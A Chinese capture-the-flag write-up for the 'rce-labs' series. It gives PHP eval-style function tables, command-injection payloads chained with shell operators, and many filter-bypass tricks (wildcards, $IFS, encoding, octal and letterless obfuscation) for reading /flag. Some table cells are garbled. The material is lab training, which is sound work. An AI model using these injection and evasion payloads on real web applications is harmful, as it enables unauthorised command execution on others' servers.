rce-labs wp
level 1
1 |
|
简单的一句话木马:
1 | a=system('cat /flag'); |
level 2
1 |
|
首先通过发送 GET:/?action= 去随机的获取一个函数,然后通过往 /?action=submit 路由 POST:content=<函数参数> 的方法完成题目。
通过源码可以看到最后我们的提交会组合为一个函数去调用: eval(funciton(content))
对应函数输出flag的方式可以参考下面的表格:
PHP 代码执行相关函数
| 函数 | 说明 | 示例代码 |
|---|---|---|
${} |
用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。 |
eval('${flag}'); |
eval() |
用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。 | eval('echo $flag;'); |
assert() |
测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。PHP 8.0.0 后移除该功能。 |
assert(print_r($flag)); |
call_user_func() |
用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。 | call_user_func('print_r', $flag); |
create_function() |
创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。 自 PHP 7.2.0 起被废弃*,并自 PHP 8.0.0 起被*移除。** |
create_function('$a', 'echo $flag;')($a); |
array_map() |
将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。 | array_map(print_r($flag), $a); |
call_user_func_array() |
调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。 | call_user_func_array(print_r($flag), array()); |
usort() |
对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。 | usort($a,print_r($flag)); |
array_filter() |
过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。 | array_filter($a,print_r($flag)); |
array_reduce() |
迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。 | array_reduce($a,print_r($flag)); |
preg_replace() |
执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。 依赖 /e 模式,该模式自 PHP7.3 起被取消。 |
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)}); |
ob_start() |
ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。 | ob_start(print_r($flag)); |
其中print_f方法可以用以下替换
1 | var_dump($flag); |
level 3
1 |
|
通过POST传system函数的命令
system() 函数会通过sh软连接执行你输入的系统命令。
1 | a=cat /flag |
level 4
利用shell逻辑运算符,调用system函数
1 |
|
| 运算符 | 说明 | 示例代码 |
|---|---|---|
&&(逻辑与运算符) |
AND操作 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。 |
mkdir new_folder && cd new_folder (只有在新建文件夹成功后才进入该文件夹) |
| ` | `(逻辑或运算符) | |
&(后台运行符) |
将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。 |
sleep 10 & echo "This will run immediately." |
;(命令分隔符) |
无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。这允许将命令堆叠在一起。命令会依次执行。 |
echo "Hello"; echo "World" (先输出 “Hello”,再输出 “World”) |
payload:
1 | ?ip=1.1.1.1&&cat /flag |
扩展:其他Shell符号:
| 操作符 | 结果 | 示例 |
|---|---|---|
command1 > command2 command1 < command2 command1 >> command2 |
这些操作符是重定向操作符。它们用于重定向输入或输出。 | echo "Hello" > output.txt (将 “Hello” 写入到 output.txt 文件) cat < input.txt (读取 input.txt 的内容并在终端显示) echo "Hello" >> output.txt (将 “Hello” 追加到 output.txt 文件中) |
| `command2` | 反引号将一个单独的命令封装在原始命令处理的数据中。 | echo “Today is \`date\`”((将日期命令的输出嵌入到 “Today is” 之后) |
| `command1 | command2` | 管道可用于将多个命令链接起来。一个命令的输出会被重定向到下一个命令中。 |
$(command2) |
$ 符号执行括号内的命令。 |
echo "Today is $(date)" (将日期命令的输出嵌入到 “Today is” 之后) |
- command |
短横线用于向目标命令添加其他操作。 | ls -l -h (列出文件时显示文件大小的可读格式) |
level 5
1 |
|
空字符:
在Shell中,单/双引号 “/‘ 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。 例如:echo "$"a 会输出 $a,而 echo $a 会输出变量 a 的值,当只有 "" 则表示空字符串,Shell会忽略它。
1 | ?cmd=cat /f''lag |
通配符:
| 通配符 | 功能说明 | 示例 | 用途 |
|---|---|---|---|
* |
匹配零个或多个字符 | *.txt |
匹配所有以 .txt 结尾的文件 |
? |
匹配单个字符 | file?.txt |
匹配 file1.txt, file2.txt 等单个字符的文件名 |
[] |
匹配方括号内的任意一个字符 | file[1-3].txt |
匹配 file1.txt, file2.txt, file3.txt |
[^] |
匹配不在方括号内的字符 | file[^a-c].txt |
匹配不包含 a 到 c 之间字符的文件 |
{} |
匹配大括号内的任意一个字符串,使用逗号分隔 | file{1,2,3}.txt |
匹配 file1.txt, file2.txt, file3.txt |
~ |
表示当前用户的主目录 | ~/Documents |
访问主目录下的 Documents 文件夹 |
! |
表示取反,在一些条件测试或模式匹配中使用 | ls !(*.txt) |
列出所有不是 .txt 结尾的文件 |
\ |
转义字符,取消通配符的特殊意义,使其作为普通字符处理 | file\*.txt |
匹配文件名为 file*.txt 的文件 |
1 | ?cmd=cat /f* |
赋值与拼接:
1 | <@URLe>a=c;b=at;c=fla;d=g;$a$b /$c$d<@URLe> |
反斜杠:
1 | ?cmd=ca\t /fla\g |
特殊变量:
| 变量 | 含义 | 示例输出 |
|---|---|---|
${#} |
传递给脚本或函数的参数个数 | 0(参数为空时) |
${?} |
上一个命令的退出状态 | 0(正常退出)或 1(异常退出) |
${_} |
上一个命令的最后一个参数 | 上一个命令的最后一个参数值 |
${0} |
当前脚本或 shell 的名字 | bash 或脚本名 |
${1} 到 ${9} |
传递给脚本或函数的第 1 到第 9 个参数 | 第 1 到第 9 个参数值 |
${@} |
传递给脚本或函数的所有参数(以列表形式) | 所有参数值 |
${*} |
传递给脚本或函数的所有参数(以字符串形式) | 所有参数作为单个字符串 |
${$} |
当前 shell 的进程 ID (PID) | 进程 ID 值 |
${!} |
上一个后台运行的进程的进程 ID (PID) | 后台进程的 PID |
${-} |
当前 shell 的选项标志 | hB(表示 shell 选项标志) |
1 | ?cmd=ca$1t /fl$@ag |
编码 / 进制:
1 | cat "$(echo 'L2ZsYWc=' | base64 -d)" |
level 6
1 |
|
看正则表达式,给我们留了一个a还有所有数字,可以尝试用?模糊匹配
1 | /???/?a??64 /??a? # 使用 /bin/base64 /flag |
level 7(过滤空格
1 |
|
空格被过滤可以用一下方法代替空格绕过
使用
$IFS
$IFS是 Linux 的内部字段分隔符,可以替代空格。eg:ls$IFS-l
使用%09(Tab 键)在支持 URL 编码的环境中,可以使用 %09 替代空格。
eg:ls%09-l
使用大括号 {} 拼接
通过大括号将命令分割为多个部分,再拼接执行。
eg:{ls,-l}
使用重定向符 < 或 <>利用重定向符号替代空格。
eg: ls<-l
payload:
1 | ?cmd=cat%09fl* |
扩展:过滤 /
1 | ${HOME:0:1}来替代"/": |
level 8
1 |
|
我真甜美服了,以为思路错了,结果是因为没有URL编码
用;隔开就好了
payload:
1 | ?cmd=cat%20%2Fflag%3B |
level 9
无字母命令执行_八进制转义
1 |
|
直接使用给的小工具

最终payload:
1 | ?cmd=$'\143\141\164'%20$'\57\146\154\141\147' |
level 10
1 |
|
一样是用神秘小工具,但是和上一关不同的是这关的指令不需要将cat和/flag分开,需要一起转译
payload:
1 | ?cmd=%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C'%5C%5C%24((%24((1%3C%3C1))%2310001111))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310100100))%5C%5C%24((%24((1%3C%3C1))%23101000))%5C%5C%24((%24((1%3C%3C1))%23111001))%5C%5C%24((%24((1%3C%3C1))%2310010010))%5C%5C%24((%24((1%3C%3C1))%2310011010))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310010011))%5C' |

level 11
1 |
|
和上面一样,用神秘小工具秒了
1 | cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\' |
level 12
暂时打不开环境,过段时间试试
过了一天还是打不开,估计也是用小工具的,不写也罢
level 13
1 |
|
还是用奇妙小工具,不说了
level 14(七字符RCE)
1 |
|
简单
payload:
1 | ?1=cat /f* |
level 15(5字符绕过)
1 |
|
在CTFplus上写的,貌似不出网,写不了
但是话又说回来,ctfplus不出网,我不能在github上下载源码,然后部署在docker上做吗?
好了,继续写
所以直接贴wprce-labs level15详细解析